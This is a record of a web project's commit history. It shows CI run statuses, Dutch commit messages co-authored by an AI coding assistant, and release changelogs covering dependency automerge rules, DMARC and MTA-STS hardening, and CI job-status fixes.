[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 42s
[Workflow] On Source Change / Release (push) Successful in 0s
dbae3d3ff9
Drie dingen, waarvan er één een dode regel was.

De org-preset zet `dependencyDashboardApproval: true` op elk normaal updatetype, dus
dertien updates stonden op de dashboard-issue te wachten op een vinkje. Minor en patch
slaan die poort nu over en mergen zichzelf zodra CI groen is. Dat kan hier omdat de
verificatiestage typecheck, lint, de tests, content- en mailvalidatie, container parity,
Lighthouse en axe draait vóór een merge mogelijk is, en omdat een merge alleen staging
raakt: productie wacht nog steeds op de promotie-PR.

Security-fixes mergen ook zichzelf, maar die regel moest verhuizen. `"vulnerability"`
bestaat niet als `matchUpdateTypes`-waarde, dus de org-regel die daarop matcht doet
niets; dat de securityPR's meteen opengingen komt van de standaardwaarden van
`vulnerabilityAlerts`. Daar staat de automerge nu dus ook. PR #1 en #5 stonden twaalf en
acht dagen groen te wachten.

En het committype: een dependency-minor is geen feature van deze site, maar `chore` kan
niet want dan deployt hij nooit (ADR 0019). Patch en minor landen nu als `fix`, majors
houden `feat` met de redenering van de org-preset erachter.

Eén uitzondering op de automerge, en niet uit voorzichtigheid: wrangler is het deploypad
zelf, de gate draait ervóór, dus een groene run zegt niets over of de site nog uitrolt.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
chore(release): v0.2.0-rc.7 [skip ci]
All checks were successful
[Workflow] On Release Published / Release Channel (release) Successful in 0s
[Workflow] On Release Published / Deploy preview (release) Has been skipped
[Workflow] On Release Published / Deploy Production (release) Successful in 0s
[Workflow] On Release Published / Deploy Staging (release) Successful in 0s
[Workflow] On Release Published / Open or keep the promotion PR (release) Successful in 2s
[Workflow] On Release Published / Deploy production (release) Successful in 1m48s
f8dda31fec
## [0.2.0-rc.7](https://forgejo.webgrip.dev/webgrip/twente.dev/compare/v0.2.0-rc.6...v0.2.0-rc.7) (2026-09-17)

### Added

* **deps:** update dependency astro ( 7.1.6 ➔ 7.2.8 ) [security] ([#5](#5)) ([4939c02](4939c02be9)), references [#8203](#8203)
* **deps:** update pnpm ( 11.8.0 ➔ 11.11.0 ) [security] ([#1](#1)) ([52af7fa](52af7fab56)), closes [#8203](#8203), references [#8203](#8203) [#8203](#8203)

### Fixed

* **ci:** de docssite publiceert weer alleen vanaf main ([7cf36f4](7cf36f4e97)), references [#10525](#10525)

### Docs

* **copy:** de linkedin-pagina bestaat en staat in het register ([ffbc88c](ffbc88c684))
* **copy:** de meetup-event-URL staat in het plakplekregister ([da9bbba](da9bbbaaec))
* de projectkennis verhuist van geheugen naar de repo ([2bcaca0](2bcaca00a4))
* **dns:** de DNS-lane wacht op een vault-sleutel die nog niet bestaat ([c5985da](c5985da4d0))
* geen teruggetrokken vocabulaire in de nieuwe documentatie ([e1372e8](e1372e8b72))

### Internal

* **config:** minor, patch en security mergen zichzelf als de gate groen is ([dbae3d3](dbae3d3ff9)), references [#1](#1) [#5](#5)
fix(config): de soaktijd terug op het pad waar niets anders meer bewaakt
All checks were successful
[Workflow] On Source Change / Build Site (pull_request) Successful in 0s
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 3m34s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On Source Change / Deploy production (pull_request) Has been skipped
[Workflow] On Source Change / Deploy preview (pull_request) Successful in 1m49s
[Workflow] On Source Change / Deploy Preview (pull_request) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (pull_request) Successful in 3m28s
[Workflow] On Source Change / Accessibility (axe-core) (pull_request) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 1m37s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 2m11s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Content Validation-1 (push) Successful in 2m29s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 2m14s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 1m18s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (pull_request) Successful in 9m15s
[Workflow] On Source Change / Lighthouse Budgets (pull_request) Successful in 0s
[Workflow] On Source Change / Semantic Release (pull_request) Has been skipped
[Workflow] On Source Change / Release (pull_request) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 2m20s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 6m53s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 15s
[Workflow] On Source Change / Release (push) Successful in 0s
9d30f48dd9
De org-preset zet `minimumReleaseAge` op nul voor elk normaal updatetype, met als
redenering dat de dashboardgoedkeuring de poort is, en waarschuwt in zijn eigen
beschrijving: zet hem terug waar een repo onbeheerd automerget. Met dbae3d3 haalde ik
die goedkeuring weg voor minor en patch, dus daar stond daarna geen enkele rem meer en
kon een pakket dat minuten geleden verscheen zichzelf mergen. Minor soakt nu drie dagen
en patch één, de waarden die de preset zelf bedoelt.

Security-majors mergen niet meer vanzelf: een securityfix die ook een API verandert is
een migratie, geen patch. Dat staat als packageRule binnen `vulnerabilityAlerts`, want
die laag wint van de gewone major-uitzonderingen.

En `baseBranches` heet inmiddels `baseBranchPatterns`. Dat is wat PR #4 wilde, maar die
branch is van 5 september en kent deze file niet meer.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
chore(release): v0.2.0-rc.8 [skip ci]
Some checks failed
[Workflow] On Release Published / Release Channel (release) Successful in 0s
[Workflow] On Release Published / Deploy preview (release) Has been skipped
[Workflow] On Release Published / Deploy Production (release) Successful in 0s
[Workflow] On Release Published / Deploy Staging (release) Successful in 0s
[Workflow] On Release Published / Open or keep the promotion PR (release) Failing after 1s
[Workflow] On Release Published / Deploy production (release) Successful in 1m43s
48cd03c6a7
## [0.2.0-rc.8](https://forgejo.webgrip.dev/webgrip/twente.dev/compare/v0.2.0-rc.7...v0.2.0-rc.8) (2026-09-17)

### Fixed

* **config:** de soaktijd terug op het pad waar niets anders meer bewaakt ([9d30f48](9d30f48dd9)), references [#4](#4)
fix(dns): de zonekopie loopt zes dagen achter op webgrip/cloudflare
All checks were successful
[Workflow] On DNS Change / DNS preview (push) Successful in 17s
[Workflow] On DNS Change / DNS Preview (push) Successful in 0s
[Workflow] On Documentation Change / techdocs (push) Successful in 54s
[Workflow] On Documentation Change / Generate (push) Successful in 0s
[Workflow] On Documentation Change / Docs links (push) Successful in 1m19s
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 2m23s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On DNS Change / DNS push (push) Has been skipped
[Workflow] On DNS Change / DNS Push (push) Successful in 0s
[Workflow] On Documentation Change / Deploy (docs site / Garage web) (push) Has been skipped
[Workflow] On Source Change / Container Parity (push) Successful in 1m21s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 2m30s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Content Validation-1 (push) Successful in 2m39s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 2m6s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 1m56s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 2m3s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 6m38s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 17s
[Workflow] On Source Change / Release (push) Successful in 0s
1f5a0d7c26
De eerste groene preview vanuit deze repo meldde twee correcties op de
DMARC-records. Beide zijn deze kopie die achterloopt: webgrip/cloudflare haalde
op 2026-09-11 mailto:dmarc@twente.dev uit de rua-lijst (170490c) en zette DMARC
op p=quarantine met pct=25 (d83ea7e), na het kopieermoment van bd833d9.

Een push vanaf hier had de handhaving op de apex teruggezet naar p=none. Er is
niets toegepast, DNS_PUSH stond niet op on.

Het plan noemde de overlap tussen beide repo's veilig omdat pushes van beide
kanten no-ops zouden zijn. Dat geldt alleen zolang de bestanden identiek zijn;
ze liepen binnen zes dagen uit elkaar.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
chore(release): v0.2.0-rc.9 [skip ci]
All checks were successful
[Workflow] On Release Published / Release Channel (release) Successful in 0s
[Workflow] On Release Published / Deploy preview (release) Has been skipped
[Workflow] On Release Published / Deploy Production (release) Successful in 0s
[Workflow] On Release Published / Deploy Staging (release) Successful in 0s
[Workflow] On Release Published / Open or keep the promotion PR (release) Successful in 1s
[Workflow] On Release Published / Deploy production (release) Successful in 1m13s
8447afa16c
## [0.2.0-rc.9](https://forgejo.webgrip.dev/webgrip/twente.dev/compare/v0.2.0-rc.8...v0.2.0-rc.9) (2026-09-17)

### Fixed

* **dns:** de zonekopie loopt zes dagen achter op webgrip/cloudflare ([1f5a0d7](1f5a0d7c26))
DMARC gaat naar pct=50 en krijgt sp=reject, zodat elk subdomein zonder eigen
_dmarc meteen wordt geweigerd. Brevo verstuurt vanaf send.twente.dev, dat een
eigen record heeft, dus dat raakt het niet. De TTL van 3600 op de
google-site-verification verdwijnt; die veroorzaakte de inconsistent-TTLs
waarschuwing op elke run.

MTA-STS gaat van testing naar enforce met max_age op een week. De id van het
beleid is nu de sha256 van het beleidsbestand in plaats van een datum, en
pnpm validate:mta-sts herberekent hem. Bestand en zone kunnen niet meer uit
elkaar lopen zonder dat CI het ziet. Diezelfde check bewaakt dat elke MX uit de
zone in het beleid staat. Hij hangt aan Mail Validation, dus de kritieke pad
krijgt er geen job bij.

De pushjob hangt niet langer aan de repovariabele DNS_PUSH maar aan een
letterlijke enabled:. Aanzetten is een commit in plaats van een klik buiten git
om, en het omzeilt dat Forgejo v15 de with-expressies van een aanroeper met een
lege context evalueert bij het uitklappen.

Niets hiervan is toegepast: de pushjob staat uit en webgrip/cloudflare is nog
steeds de eigenaar van de zone.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Zonder eigen runs-on klapt Forgejo v15 een uses:-job uit naar de jobs van de
aangeroepen workflow. De aanroeper blijft als wrapper in de lijst staan en meldt
success zodra zijn kind niet faalt, ook als dat kind elke stap heeft
overgeslagen. Op run 428 stond "DNS Push: success" naast "DNS push: skipped".

Met runs-on: docker wordt de job als geheel ingepland en werkt zijn eigen if:,
zoals deploy-docs-site sinds 7cf36f4 doet: die meldt op development netjes
skipped. De pipeline gaat van vier jobs terug naar twee.

De pushschakelaar verhuist daarmee van de enabled:-input naar if: op de
aanroepende job, want alleen daar leidt uit staan tot skipped in plaats van een
groene wrapper. push-refs in de gedeelde workflow blijft eronder liggen, dus
development kan hoe dan ook niet pushen.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
refactor(mail): de mta-sts-check bewaakt alleen nog wat mail kan kosten
Some checks failed
[Workflow] On Source Change / Deploy Preview (pull_request) Has been cancelled
[Workflow] On Source Change / Release (pull_request) Has been cancelled
[Workflow] On Source Change / Unit Tests-1 (pull_request) Has been cancelled
[Workflow] On Source Change / Content Validation-1 (pull_request) Has been cancelled
[Workflow] On Source Change / Mail Validation-1 (pull_request) Has been cancelled
[Workflow] On Source Change / Build Site-1 (pull_request) Has been cancelled
[Workflow] On Source Change / Lighthouse budgets (pull_request) Has been cancelled
[Workflow] On Source Change / Accessibility (axe-core)-1 (pull_request) Has been cancelled
[Workflow] On Source Change / Deploy preview (pull_request) Has been cancelled
[Workflow] On Source Change / Deploy production (pull_request) Has been cancelled
[Workflow] On Source Change / Semantic Release (pull_request) Has been cancelled
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (pull_request) Has been cancelled
[Workflow] On Source Change / Content Validation-1 (push) Successful in 2m29s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 2m40s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 2m59s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 2m48s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 2m18s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 1m37s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 8m55s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 33s
[Workflow] On Source Change / Release (push) Successful in 0s
c0ed3a515b
De id-controle is eruit en daarmee ook de reden om de id een hash te laten zijn:
het beleidsbestand verandert ongeveer eens per jaar, en een leesbare datum is in
een dig meer waard dan zestien bytes hex. De id gaat terug naar 20260917, de dag
waarop het beleid op enforce ging.

Wat blijft is de helft die een storing voorkomt: elke MX uit de zone moet in het
beleid staan. Onder mode: enforce weigert een verzender anders te bezorgen, dus
een MX-verhuizing zonder beleidsupdate is inkomende mail die stilvalt. Vijftien
regels in plaats van vijftig.

Dat de id met de hand wordt gebumpt staat nu als regel in het plan, waar eerder
de check het afdwong.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
docs(runbook): wat er meekomt met een uitgeklapte uses:-job
Some checks failed
[Workflow] On Source Change / Build Site (pull_request) Successful in 0s
[Workflow] On Source Change / Deploy preview (pull_request) Successful in 1m40s
[Workflow] On Source Change / Deploy production (pull_request) Has been skipped
[Workflow] On Source Change / Deploy Preview (pull_request) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (pull_request) Successful in 2m59s
[Workflow] On Source Change / Accessibility (axe-core) (pull_request) Successful in 0s
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 3m2s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 1m39s
[Workflow] On Source Change / Content Validation-1 (push) Successful in 2m18s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (pull_request) Successful in 9m11s
[Workflow] On Source Change / Lighthouse Budgets (pull_request) Successful in 0s
[Workflow] On Source Change / Semantic Release (pull_request) Has been skipped
[Workflow] On Source Change / Release (pull_request) Failing after 0s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 2m52s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 2m14s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 2m17s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 3m5s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 9m1s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 29s
[Workflow] On Source Change / Release (push) Successful in 0s
923c83911c
Twee dingen die tijd kostten. Een uitgeklapte aanroeper meldt success terwijl
zijn kind elke stap oversloeg, en dat is precies wat run 428 liet zien. Met
runs-on erop klopt de status weer, maar dan vouwt de UI de hele aangeroepen
workflow samen tot Set up job, zoals op run 432, waar een preview van vijftien
seconden er leeg uitzag. Het log staat er gewoon in.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
chore(release): v0.2.0-rc.10 [skip ci]
Some checks failed
[Workflow] On Release Published / Release Channel (release) Successful in 0s
[Workflow] On Release Published / Deploy preview (release) Has been skipped
[Workflow] On Release Published / Deploy Production (release) Successful in 0s
[Workflow] On Release Published / Deploy Staging (release) Successful in 0s
[Workflow] On Release Published / Open or keep the promotion PR (release) Failing after 1s
[Workflow] On Release Published / Deploy production (release) Has been skipped
a0a830564c
## [0.2.0-rc.10](https://forgejo.webgrip.dev/webgrip/twente.dev/compare/v0.2.0-rc.9...v0.2.0-rc.10) (2026-09-17)

### Added

* **dns:** zonehygiëne, MTA-STS op enforce en een pushschakelaar in git ([2d708f9](2d708f9d37))

### Fixed

* **ci:** de DNS-jobs melden nu eerlijk of ze gedraaid hebben ([9b0a7de](9b0a7de945))

### Changed

* **mail:** de mta-sts-check bewaakt alleen nog wat mail kan kosten ([c0ed3a5](c0ed3a515b))

### Docs

* **runbook:** wat er meekomt met een uitgeklapte uses:-job ([923c839](923c83911c))
fix(ci): de CSP-parity leest één respons in plaats van twee
All checks were successful
[Workflow] On Source Change / Build Site (pull_request) Successful in 0s
[Workflow] On Source Change / Deploy preview (pull_request) Successful in 1m45s
[Workflow] On Source Change / Deploy production (pull_request) Has been skipped
[Workflow] On Source Change / Deploy Preview (pull_request) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (pull_request) Successful in 3m4s
[Workflow] On Source Change / Accessibility (axe-core) (pull_request) Successful in 0s
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 2m39s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 1m28s
[Workflow] On Source Change / Content Validation-1 (push) Successful in 2m24s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 2m54s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (pull_request) Successful in 9m12s
[Workflow] On Source Change / Lighthouse Budgets (pull_request) Successful in 0s
[Workflow] On Source Change / Semantic Release (pull_request) Has been skipped
[Workflow] On Source Change / Release (pull_request) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 2m16s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 1m20s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 2m13s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 6m57s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 17s
[Workflow] On Source Change / Release (push) Successful in 0s
5d918975bb
De check haalde /nl tweemaal op: eenmaal voor de meta-tag en eenmaal voor de
inhoud van de policy. Op run 438 spraken die twee elkaar tegen — de eerste zag
geen http-equiv, de tweede vond in dezelfde tag wel sha256-hashes. Dezelfde
commit was op run 437 groen en een lokale container uit dezelfde bron haalt
alle checks, dus het verschil zat in het ophalen, niet in de site.

Nu wordt de pagina één keer opgehaald en drie keer bevraagd, zodat de uitslagen
niet meer uit elkaar kunnen lopen, en bij een misser worden de eerste 400 bytes
plus de lengte afgedrukt. Een volgende keer is daarmee te zien of er iets anders
terugkwam dan de pagina.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
chore(release): v0.2.0-rc.11 [skip ci]
Some checks failed
[Workflow] On Release Published / Release Channel (release) Successful in 0s
[Workflow] On Release Published / Deploy preview (release) Has been skipped
[Workflow] On Release Published / Deploy Production (release) Successful in 0s
[Workflow] On Release Published / Deploy Staging (release) Successful in 0s
[Workflow] On Release Published / Open or keep the promotion PR (release) Failing after 0s
[Workflow] On Release Published / Deploy production (release) Successful in 1m40s
d42490bb56
## [0.2.0-rc.11](https://forgejo.webgrip.dev/webgrip/twente.dev/compare/v0.2.0-rc.10...v0.2.0-rc.11) (2026-09-17)

### Fixed

* **ci:** de CSP-parity leest één respons in plaats van twee ([5d91897](5d918975bb))
chore(release): main terug in development na de v0.2.0-promotie
Some checks failed
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 3m1s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Unit Tests-1 (pull_request) Successful in 3m13s
[Workflow] On Source Change / Unit Tests (pull_request) Successful in 0s
[Workflow] On Source Change / Content Validation-1 (pull_request) Successful in 2m27s
[Workflow] On Source Change / Content Validation (pull_request) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (pull_request) Successful in 2m45s
[Workflow] On Source Change / Mail Validation (pull_request) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 2m38s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (pull_request) Successful in 1m48s
[Workflow] On Source Change / Build Site (pull_request) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 3m9s
[Workflow] On Source Change / Accessibility (axe-core)-1 (pull_request) Successful in 2m1s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core) (pull_request) Successful in 0s
[Workflow] On Source Change / Deploy production (pull_request) Has been skipped
[Workflow] On Source Change / Deploy preview (pull_request) Successful in 1m48s
[Workflow] On Source Change / Deploy Preview (pull_request) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 8m36s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 26s
[Workflow] On Source Change / Release (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (pull_request) Successful in 8m23s
[Workflow] On Source Change / Lighthouse Budgets (pull_request) Successful in 0s
[Workflow] On Source Change / Semantic Release (pull_request) Has been skipped
[Workflow] On Source Change / Release (pull_request) Failing after 0s
c0b4be21b1
semantic-release schrijft CHANGELOG.md op allebei de takken: de rc's op
development en de stabiele release op main. Die stabiele commit kwam nooit terug,
dus de takken liepen permanent uiteen op precies dat bestand.

De merge zelf is schoon dankzij merge=union uit e450e7f. Forgejo's
mergebaarheidscheck leest de .gitattributes van de boom niet en valt terug op de
tekstdriver, ziet daar wel een conflict, en zet de PR op niet-mergebaar. De
promotiejob leest die vlag en faalt sindsdien op elke rc.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
chore(release): v0.3.0-rc.1 [skip ci]
All checks were successful
[Workflow] On Release Published / Release Channel (release) Successful in 0s
[Workflow] On Release Published / Deploy preview (release) Has been skipped
[Workflow] On Release Published / Deploy Production (release) Successful in 0s
[Workflow] On Release Published / Deploy Staging (release) Successful in 0s
[Workflow] On Release Published / Open or keep the promotion PR (release) Successful in 1s
[Workflow] On Release Published / Deploy production (release) Successful in 1m26s
655e549583
## [0.3.0-rc.1](https://forgejo.webgrip.dev/webgrip/twente.dev/compare/v0.2.0...v0.3.0-rc.1) (2026-09-17)

### Added

* **deps:** update dependency astro ( 7.1.6 ➔ 7.2.8 ) [security] ([#5](#5)) ([4939c02](4939c02be9)), references [#8203](#8203)
* **deps:** update pnpm ( 11.8.0 ➔ 11.11.0 ) [security] ([#1](#1)) ([52af7fa](52af7fab56)), closes [#8203](#8203), references [#8203](#8203) [#8203](#8203)
* **dns:** zonehygiëne, MTA-STS op enforce en een pushschakelaar in git ([2d708f9](2d708f9d37))

### Fixed

* **ci:** de CSP-parity leest één respons in plaats van twee ([5d91897](5d918975bb))
* **ci:** de DNS-jobs melden nu eerlijk of ze gedraaid hebben ([9b0a7de](9b0a7de945))
* **config:** de soaktijd terug op het pad waar niets anders meer bewaakt ([9d30f48](9d30f48dd9)), references [#4](#4)
* **dns:** de zonekopie loopt zes dagen achter op webgrip/cloudflare ([1f5a0d7](1f5a0d7c26))

### Changed

* **mail:** de mta-sts-check bewaakt alleen nog wat mail kan kosten ([c0ed3a5](c0ed3a515b))

### Docs

* **dns:** de DNS-lane wacht op een vault-sleutel die nog niet bestaat ([c5985da](c5985da4d0))
* **runbook:** wat er meekomt met een uitgeklapte uses:-job ([923c839](923c83911c))

### Internal

* **config:** minor, patch en security mergen zichzelf als de gate groen is ([dbae3d3](dbae3d3ff9)), references [#1](#1) [#5](#5)
* **release:** main terug in development na de v0.2.0-promotie ([c0b4be2](c0b4be21b1))
* **release:** v0.2.0-rc.10 [skip ci] ([a0a8305](a0a830564c))
* **release:** v0.2.0-rc.11 [skip ci] ([d42490b](d42490bb56))
* **release:** v0.2.0-rc.7 [skip ci] ([f8dda31](f8dda31fec))
* **release:** v0.2.0-rc.8 [skip ci] ([48cd03c](48cd03c6a7))
* **release:** v0.2.0-rc.9 [skip ci] ([8447afa](8447afa16c))
De nachtelijke driftjob checkt de standaardbranch uit, en main krijgt ops/dns/ pas
bij een promotie. Run 443 las daardoor een zone van voor 1f5a0d7 en stelde voor om
DMARC op de apex terug te zetten naar p=none. Het runbook zegt nu hoe je dat in één
commando van echte drift onderscheidt, en waarom de promotie voor de push moet.

Stap 5 van het plan is gedaan: webgrip/cloudflare declareert twente.dev niet meer,
dus de regel dat die repo de waarheid is, draait om. De ladders staan nu met een
kolom verklaard naast een kolom live, want die lopen uiteen zolang de push uitstaat.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
feat(dns): een merge naar main past de zone toe
Some checks failed
[Workflow] On Source Change / Mail Validation (pull_request) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Failing after 1m42s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 2m29s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Content Validation-1 (push) Successful in 2m41s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 2m48s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (pull_request) Successful in 2m38s
[Workflow] On Source Change / Build Site (pull_request) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 2m3s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy production (pull_request) Has been skipped
[Workflow] On Source Change / Deploy preview (pull_request) Successful in 2m19s
[Workflow] On Source Change / Deploy Preview (pull_request) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (pull_request) Successful in 3m23s
[Workflow] On Source Change / Accessibility (axe-core) (pull_request) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 2m4s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 6m11s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (pull_request) Successful in 8m49s
[Workflow] On Source Change / Lighthouse Budgets (pull_request) Successful in 0s
[Workflow] On Source Change / Semantic Release (pull_request) Has been skipped
[Workflow] On Source Change / Release (pull_request) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Has been skipped
[Workflow] On Source Change / Release (push) Failing after 0s
278faf41d5
De pushjob stond op if: false, dus de drie correcties die sinds 2d708f9 in het
zonebestand staan werden nooit toegepast en de nachtelijke drift kon niet groen
worden. Hij hangt nu aan github.ref == refs/heads/main: de review van de
promotie-PR is de review van de zonewijziging. De twee poorten eronder blijven
staan, push-refs en de DNS-Allow-Delete-trailer.

Wat dat kost staat erbij: de zonepush en de productiedeploy starten op dezelfde
merge, dus de MTA-STS-id kan een paar minuten voor het beleidsbestand uit lopen.
Wie dat niet wil, splitst de id af naar een eigen promotie.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
De pull_request-trigger op main stond er nog. Sinds ADR 0019 staat de
promotie-PR vrijwel permanent open, dus elke push naar development vuurde ook
een synchronize op die PR: dezelfde commit twee keer door tien jobs, twintig
jobs die om zes runnerslots vechten. De trigger verdwijnt. Werk landt via push,
op development of op een branch in deze repo, en de promotie-PR draagt een
commit die de pushrun al heeft geverifieerd.

De keten die ADR 0020 platsloeg stond er ook nog. Unit Tests, Content
Validation, Mail Validation en Build Site worden één lane-aanroep Tests & Build:
hun werk samen is minder dan een halve minuut en een tweede install per check
kost meer dan de check. Container Parity, Lighthouse Budgets en Accessibility
